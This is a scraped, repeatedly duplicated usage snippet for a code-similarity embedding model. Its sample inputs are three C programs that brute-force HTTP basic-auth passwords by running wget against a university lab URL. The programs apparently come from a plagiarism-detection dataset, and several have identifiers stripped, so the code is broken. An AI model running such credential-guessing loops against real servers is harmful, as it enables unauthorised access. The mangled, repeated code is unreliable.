     for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
